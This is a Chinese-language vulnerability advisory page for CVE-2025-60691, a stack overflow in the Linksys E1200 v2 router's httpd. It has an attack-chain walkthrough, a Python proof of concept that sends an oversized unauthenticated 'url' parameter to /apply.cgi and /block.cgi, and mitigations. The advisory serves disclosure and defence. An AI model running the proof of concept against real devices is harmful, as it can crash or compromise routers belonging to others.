IPBUF安全漏洞报告
English
CVE-2025-60691 CVSS 8.8 高危

CVE-2025-60691 | Linksys E1200 v2 路由器 httpd 栈缓冲区溢出漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-60691
漏洞类型
缓冲区溢出
CVSS评分
8.8 高危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linksys E1200 v2 路由器

相关标签

CVE-2025-60691缓冲区溢出Linksys E1200路由器漏洞栈溢出RCEhttpdsprintfCGI无需认证

漏洞概述

CVE-2025-60691 是存在于 Linksys E1200 v2 路由器 httpd 二进制文件中的一个高危栈缓冲区溢出漏洞。该漏洞存在于 apply_cgi 和 block_cgi 函数中,这些函数使用 sprintf 函数将用户通过 "url" CGI 参数提交的输入复制到栈缓冲区(v36、v29)中,而未进行任何边界检查。由于这些缓冲区被分配为单字节变量,任何非空输入都会触发缓冲区溢出。攻击者可以通过构造恶意的 HTTP 请求远程利用此漏洞,无需任何认证即可在受影响设备上执行任意代码或导致拒绝服务(DoS)。该漏洞的 CVSS 评分为 8.8,属于高危级别,对路由器的安全性构成严重威胁。攻击向量为邻接网络(AV:A),意味着攻击者需要处于与目标设备相同的网络邻接位置才能发起攻击。

技术细节

该漏洞的根本原因在于 Linksys E1200 v2 路由器固件(E1200_v2.0.11.001_us.tar.gz)中的 httpd 守护进程存在不安全的字符串处理操作。在 apply_cgi 和 block_cgi 函数中,程序使用 sprintf 函数将用户可控的 "url" CGI 参数直接复制到栈上的局部缓冲区 v36 和 v29 中。sprintf 函数在复制字符串时不会检查目标缓冲区的实际大小,而声明的缓冲区仅为单字节变量,这导致任何长度的输入都会造成缓冲区溢出。攻击者可以通过发送包含超长字符串的 HTTP 请求来触发此漏洞,精心构造的 payload 可以覆盖栈上的返回地址和关键寄存器,从而控制程序执行流程,实现远程代码执行。由于漏洞存在于处理 HTTP 请求的 CGI 逻辑中,攻击者无需任何认证凭证即可发起攻击,这大大增加了漏洞的可利用性和危害程度。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标为 Linksys E1200 v2 路由器,确认固件版本为 E1200_v2.0.11.001_us.tar.gz,并确认设备在邻接网络中可访问
STEP 2
步骤2: 构造恶意请求
攻击者构造包含超长字符串的 HTTP 请求,将 "url" CGI 参数设置为精心设计的 payload,用于覆盖栈缓冲区和返回地址
STEP 3
步骤3: 发送漏洞利用请求
通过 HTTP GET/POST 请求向 /apply.cgi 或 /block.cgi 端点发送恶意 payload,无需任何认证
STEP 4
步骤4: 触发缓冲区溢出
httpd 进程中的 sprintf 函数将用户输入复制到单字节栈缓冲区中,触发栈缓冲区溢出,覆盖返回地址和栈帧
STEP 5
步骤5: 控制程序执行
精心构造的 payload 覆盖返回地址,使程序跳转到攻击者控制的 shellcode 或执行任意代码
STEP 6
步骤6: 实现攻击目标
攻击者成功执行任意代码,完全控制路由器,可用于数据窃取、僵尸网络构建或持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-60691 PoC - Linksys E1200 v2 Stack Buffer Overflow # Target: Linksys E1200 v2 router with firmware E1200_v2.0.11.001_us.tar.gz def exploit_cve_2025_60691(target_ip, port=80): """ Exploit for CVE-2025-60691: Stack-based buffer overflow in httpd Affected: Linksys E1200 v2 routers Attack Vector: Crafted HTTP request with oversized 'url' parameter """ # Generate payload - oversized string to trigger buffer overflow # The buffer is declared as single-byte variable, any non-empty input overflows payload_size = 1024 # Payload size to overflow the stack buffer overflow_payload = 'A' * payload_size # Target URLs that trigger vulnerable functions targets = [ f'/apply.cgi?url={overflow_payload}', f'/block.cgi?url={overflow_payload}' ] for target_url in targets: try: url = f'http://{target_ip}:{port}{target_url}' print(f'[*] Sending exploit payload to: {url}') # Send crafted HTTP request response = requests.get(url, timeout=10) print(f'[+] Request sent, status code: {response.status_code}') print('[*] Buffer overflow triggered - check device for DoS or code execution') except requests.exceptions.Timeout: print('[-] Request timed out - device may be unresponsive (DoS successful)') except requests.exceptions.ConnectionError: print('[-] Connection failed - device may be down') except Exception as e: print(f'[-] Error: {str(e)}') if __name__ == '__main__': import sys if len(sys.argv) < 2: print('Usage: python cve-2025-60691.py <target_ip>') sys.exit(1) target_ip = sys.argv[1] exploit_cve_2025_60691(target_ip)

影响范围

Linksys E1200 v2 固件 E1200_v2.0.11.001_us.tar.gz

防御指南

临时缓解措施
由于该漏洞存在于路由器固件中且官方可能尚未发布修复补丁,建议采取以下临时缓解措施:1) 将路由器放置在受信任的网络环境中,避免暴露于不可信网络;2) 禁用路由器的 WAN 端管理界面访问,仅允许通过 LAN 侧管理;3) 使用网络访问控制列表(ACL)限制能够访问路由器管理界面的设备;4) 监控网络流量,检测异常的 HTTP 请求模式;5) 考虑更换为已停止支持的老旧设备,使用具有安全更新支持的新型号路由器。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表